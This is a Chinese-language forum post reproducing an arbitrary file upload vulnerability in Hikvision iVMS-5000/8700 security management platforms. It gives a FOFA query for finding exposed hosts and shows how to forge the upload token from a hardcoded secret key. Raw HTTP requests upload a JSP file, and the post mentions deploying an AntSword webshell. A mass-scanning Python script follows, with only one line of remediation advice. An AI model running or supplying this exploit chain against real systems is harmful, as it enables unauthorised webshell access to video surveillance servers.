Anonymous 发表于 2023-6-21 10:43:36

海康威视iVMS综合安防系统任意文件上传漏洞

海康威视iVMS综合安防系统任意文件上传漏洞复现

海康威视iVMS集中监控应用管理平台,是以安全防范业务应用为导向,以视频图像应用为基础手段,综合视频监控、联网报警、智能分析、运维管理等多种安全防范应用系统,构建的多业务应用综合管理平台。
1.漏洞描述
海康威视iVMS系统存在任意文件上传漏洞,攻击者通过获取密钥任意构造token,请求/resourceOperations/upload接口任意上传文件,导致获取服务器webshell权限,同时可远程进行恶意代码执行。

CVE编号:

CNNVD编号:

CNVD编号:
2.影响版本
海康威视综合安防系统iVMS-5000

海康威视综合安防系统 iVMS-8700
3.fofa查询语句
icon_hash="-911494769"
5.漏洞复现
漏洞url:/eps/api/resourceOperations/upload

bp抓取首页包,尝试访问接口(发现token需要进行鉴权)
POST /eps/api/resourceOperations/upload HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://you-ip
Connection: close
Cookie: ISMS_8700_Sessionname=7634604FBE659A8532E666FE4AA41BE9
Upgrade-Insecure-Requests: 1
Content-Length: 62

service=http%3A%2F%2Fx.x.x.x%3Ax%2Fhome%2Findex.action

构造token绕过认证(内部机制:如果token值与请求url+secretkey的md5值相同就可以绕过认证)

secretkey是代码里写死的(默认值:secretKeyIbuilding)

token值需要进行MD5加密(32位大写)

组合:token=MD5(url+"secretKeyIbuilding")





可以看到,成功绕过

构造文件上传payload
POST /eps/api/resourceOperations/upload?token=构造的token值 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: ISMS_8700_Sessionname=A29E70BEA1FDA82E2CF0805C3A389988
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryGEJwiloiPo
Upgrade-Insecure-Requests: 1
Content-Length: 174

------WebKitFormBoundaryGEJwiloiPo
Content-Disposition: form-data; name="fileUploader";filename="1.jsp"
Content-Type: image/jpeg

test
------WebKitFormBoundaryGEJwiloiPo





显示上传成功且返回了resourceUuid值

验证路径:http://url/eps/upload/resourceUuid的值.jsp

直接上传蚁剑jsp马子



上传成功,尝试连接



6.POC&EXP
检测脚本PoC:https://github.com/sccmdaveli/hikvision-poc





import requests
import urllib3
import urllib
import hashlib
import argparse
from colorama import init
from colorama import Fore
init(autoreset=True)
urllib3.disable_warnings()

head = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36",
    "Cookie": "ISMS_8700_Sessionname=ABCB193BD9D82CC2D6094F6ED4D81169"
}
def md5encode(url):
    if url.endswith("/"):
      path = "eps/api/resourceOperations/uploadsecretKeyIbuilding"
    else:
      path = "/eps/api/resourceOperations/uploadsecretKeyIbuilding"
    encodetext = url + path
    input_name = hashlib.md5()
    input_name.update(encodetext.encode("utf-8"))
    return (input_name.hexdigest()).upper()

def poc(url):
    if url.endswith("/"):
      path = "eps/api/resourceOperations/upload?token="
    else:
      path = "/eps/api/resourceOperations/upload?token="
    pocurl = url + path + md5encode(url)
    data = {
      "service": urllib.parse.quote(url + "/home/index.action")
    }
    try:
      response = requests.post(url=pocurl,headers=head,data=data,verify=False,timeout=3)
      if response.status_code==200:
            print(Fore.GREEN + f"[+]{url}存在海康威视iVMS 综合安防任意文件上传漏洞!!!!")
      else:
            print(Fore.RED + f"[-]{url}不存在海康威视iVMS 综合安防任意文件上传漏洞")
    except:
      pass

if __name__ == '__main__':
    parser = argparse.ArgumentParser(usage='python3 ivms.py -u http://xxxx\npython3 ivms.py -f file.txt',
                                     description='ivms漏洞检测poc',
                                     )
    p = parser.add_argument_group('ivms 的参数')
    p.add_argument("-u", "--url", type=str, help="测试单条url")
    p.add_argument("-f", "--file", type=str, help="测试多个url文件")
    args = parser.parse_args()
    if args.url:
      poc(args.url)
    if args.file:
      for i in open(args.file,"r").read().split("\n"):
            poc(i)
7.整改意见
关闭互联网暴露面访问的权限,文件上传模块做好权限强认证
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